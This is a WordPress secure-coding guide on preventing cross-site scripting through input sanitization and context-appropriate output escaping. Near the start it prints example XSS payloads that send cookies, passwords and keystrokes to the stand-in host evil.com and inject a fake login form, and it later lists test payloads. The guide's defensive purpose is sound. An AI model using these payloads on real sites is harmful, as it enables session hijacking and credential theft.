Sanitize on INPUT, Escape on OUTPUT
- Sanitize = Clean data before saving (remove dangerous content)
- Escape = Encode data before displaying (prevent code execution)
Cross-Site Scripting (XSS) allows attackers to inject malicious JavaScript:
- Steal cookies/sessions
- Capture keystrokes
- Redirect to phishing sites
- Deface websites
- Steal sensitive data
- Perform actions as the user
One unescaped output = complete account compromise.
echo '<h1>Welcome ' . $_GET['name'] . '</h1>';Attack:
?name=<script>document.location='http://evil.com?cookie='+document.cookie</script>
Result: User's session cookie sent to attacker!
<!-- Steal credentials -->
<script>
fetch( 'http://evil.com?password=' + document.querySelector( '#password').value);
</script>
<!-- Keylogger -->
<script>
document.addEventListener( 'keypress', e => {
fetch( 'http://evil.com?key=' + e.key);
});
</script>
<!-- Redirect to phishing -->
<script>document.location='http://fake-login.com';</script>
<!-- Inject fake login form -->
<div style="position:fixed; top:0; left:0; width:100%; height:100%; background:white;">
<form action="http://evil.com/steal">
<input name="username">
<input type="password" name="password">
</form>
</div>Different contexts need different escaping:
| Context | Function | Example |
|---|---|---|
| HTML Content | esc_html() |
<p><?php echo esc_html($text); ?></p> |
| HTML Attribute | esc_attr() |
<div title="<?php echo esc_attr($title); ?>"> |
| URL | esc_url() |
<a href="<?php echo esc_url($url); ?>"> |
| JavaScript | wp_json_encode() |
var data = <?php echo wp_json_encode($data); ?>; |
| Textarea | esc_textarea() |
<textarea><?php echo esc_textarea($text); ?></textarea> |
| SQL | $wpdb->prepare() |
See SQL Injection example |
// Converts HTML special characters to entities
echo '<p>' . esc_html($user_input) . '</p>';
// Input: <script>alert('XSS')</script>
// Output: <script>alert('XSS')</script>
// Displays as text, doesn't execute// For HTML attributes
echo '<div title="' . esc_attr($user_input) . '"></div>';
// Prevents breaking out of attribute:
// Input: " onclick="alert('XSS')
// Output: " onclick="alert('XSS')
// Rendered safe// Validates and sanitizes URLs
echo '<a href="' . esc_url($url) . '">Link</a>';
// Blocks dangerous protocols:
// Input: javascript:alert('XSS')
// Output: (empty string)
// Allows: http, https, ftp, mailto, etc.// Specifically for textarea content
echo '<textarea>' . esc_textarea($content) . '</textarea>';
// Prevents breaking out:
// Input: </textarea><script>alert('XSS')</script><textarea>
// Output: (escaped properly)// For JavaScript context
?>
<script>
var data = <?php echo wp_json_encode($user_data); ?>;
</script>// For single-line text (removes line breaks, strips tags)
$clean = sanitize_text_field($_POST['username']);
// Input: "Hello<script>alert('XSS')</script>\nWorld"
// Output: "HelloWorld" (tags removed, linebreaks removed)// For multi-line text (preserves line breaks, strips tags)
$clean = sanitize_textarea_field($_POST['bio']);
// Input: "Line 1<script>alert('XSS')</script>\nLine 2"
// Output: "Line 1\nLine 2" (tags removed, linebreaks preserved)// Validates and sanitizes email
$email = sanitize_email($_POST['email']);
// Input: "user@example.com<script>"
// Output: "user@example.com" (invalid chars removed)// For saving URLs to database
$url = esc_url_raw($_POST['website']);
// Similar to esc_url() but doesn't encode entities (for storage)// For option names, meta keys (lowercase alphanumeric + dash/underscore)
$key = sanitize_key($_POST['option_name']);
// Input: "My Option! 123"
// Output: "my_option_123"// For filenames
$filename = sanitize_file_name($_FILES['upload']['name']);
// Input: "../../../etc/passwd"
// Output: "etcpasswd" (directory traversal removed)// Allow specific HTML tags
$allowed = [
'a' => ['href' => [], 'title' => []],
'strong' => [],
'em' => [],
];
$clean = wp_kses($content, $allowed);
// Or use wp_kses_post() for standard post HTML
$clean = wp_kses_post($content);
// Removes dangerous tags (<script>, <iframe>, etc.)
// Keeps safe formatting tags// Text input
update_option('title', sanitize_text_field($_POST['title']));
// Textarea
update_option('description', sanitize_textarea_field($_POST['description']));
// Email
update_user_meta($user_id, 'email', sanitize_email($_POST['email']));
// URL
update_post_meta($post_id, 'website', esc_url_raw($_POST['url']));
// Integer
update_post_meta($post_id, 'views', absint($_POST['views']));
// HTML content (from trusted users)
update_post_meta($post_id, 'content', wp_kses_post($_POST['content']));// HTML content
echo '<p>' . esc_html(get_option('title')) . '</p>';
// HTML attribute
echo '<div title="' . esc_attr(get_option('title')) . '"></div>';
// URL
echo '<a href="' . esc_url(get_post_meta($id, 'website', true)) . '">Link</a>';
// Textarea
echo '<textarea>' . esc_textarea(get_option('description')) . '</textarea>';
// Allow HTML (already sanitized on input)
echo '<div>' . wp_kses_post(get_post_meta($id, 'content', true)) . '</div>';// DANGEROUS!
echo '<h1>' . get_option('title') . '</h1>';
// SAFE
echo '<h1>' . esc_html(get_option('title')) . '</h1>';Even database content needs escaping!
// WRONG: esc_html() in URL
<a href="<?php echo esc_html($url); ?>">
// CORRECT: esc_url() in URL
<a href="<?php echo esc_url($url); ?>">
// WRONG: esc_attr() for HTML content
<div><?php echo esc_attr($content); ?></div>
// CORRECT: esc_html() for HTML content
<div><?php echo esc_html($content); ?></div>// WRONG: Assuming admin input is safe
echo get_option('admin_setting'); // Still needs escaping!
// CORRECT: Always escape output
echo esc_html(get_option('admin_setting'));Compromised admin accounts can inject XSS!
// WRONG: Sanitizing on output
echo sanitize_text_field(get_option('title'));
// CORRECT: Sanitize on input, escape on output
// Save: update_option('title', sanitize_text_field($_POST['title']));
// Display: echo esc_html(get_option('title'));// WRONG: Double escaping
$title = esc_html($post->post_title);
echo '<h1>' . esc_html($title) . '</h1>'; // Escaped twice!
// CORRECT: Escape once
echo '<h1>' . esc_html($post->post_title) . '</h1>';// FORM RENDERING
function render_form(): void {
$current_value = get_option('my_setting', '');
?>
<form method="post">
<?php wp_nonce_field('save_setting'); ?>
<!-- Escape for attribute context -->
<input
type="text"
name="setting"
value="<?php echo esc_attr($current_value); ?>"
>
<button type="submit">Save</button>
</form>
<?php
}
// FORM PROCESSING
function process_form(): void {
// Verify nonce
if (!wp_verify_nonce($_POST['_wpnonce'], 'save_setting')) {
wp_die('Security check failed');
}
// Sanitize input
$value = sanitize_text_field($_POST['setting']);
// Save to database (already sanitized)
update_option('my_setting', $value);
// Redirect
wp_redirect(add_query_arg('saved', '1', $_SERVER['REQUEST_URI']));
exit;
}
// DISPLAYING
function display_setting(): void {
$value = get_option('my_setting', '');
// Escape output
echo '<p>' . esc_html($value) . '</p>';
}Try these in your forms:
<script>alert('XSS')</script>
<img src=x onerror="alert('XSS')">
javascript:alert('XSS')
'" onclick="alert('XSS')
</textarea><script>alert('XSS')</script>
If any execute, you have an XSS vulnerability!
public function test_xss_prevention() {
$xss = "<script>alert('XSS')</script>";
// Save
update_option('test', sanitize_text_field($xss));
// Retrieve
$value = get_option('test');
// Should not contain <script>
$this->assertStringNotContainsString('<script>', $value);
// Display
$output = esc_html($value);
$this->assertStringNotContainsString('<script>', $output);
}✅ ALWAYS escape output - no exceptions
✅ Sanitize input before saving
✅ Use correct function for context
✅ Escape database content too
✅ Use wp_kses() for allowed HTML
✅ Validate URLs with esc_url()
✅ Use wp_json_encode() for JavaScript
❌ NEVER output raw user input
❌ DON'T trust any source (even admin)
❌ DON'T use wrong escaping function
❌ DON'T forget to escape database content
❌ DON'T use stripslashes() for sanitization
❌ DON'T double escape
// Text in HTML
echo esc_html($text);
// Text in attribute
echo '<div title="' . esc_attr($text) . '">';
// URL
echo '<a href="' . esc_url($url) . '">';
// Data to JavaScript
var data = <?php echo wp_json_encode($data); ?>;
// Textarea
echo '<textarea>' . esc_textarea($text) . '</textarea>';
// Allow some HTML
echo wp_kses_post($html);
// Save text input
update_option('key', sanitize_text_field($_POST['value']));
// Save textarea
update_option('key', sanitize_textarea_field($_POST['value']));
// Save email
update_option('email', sanitize_email($_POST['email']));
// Save URL
update_option('url', esc_url_raw($_POST['url']));
// Save integer
update_option('count', absint($_POST['count']));XSS is the most common web vulnerability.
Without proper escaping:
- Attacker steals user sessions
- Attacker performs actions as the user
- Attacker steals sensitive data
- Your site becomes a malware distributor
One missing esc_html() = complete account takeover.
Always escape output:
// DANGEROUS - one line, catastrophic results
echo $_GET['name'];
// SAFE - one function, complete protection
echo esc_html($_GET['name']);There is NO excuse for XSS vulnerabilities.
Escape every single output. Your users' security depends on it.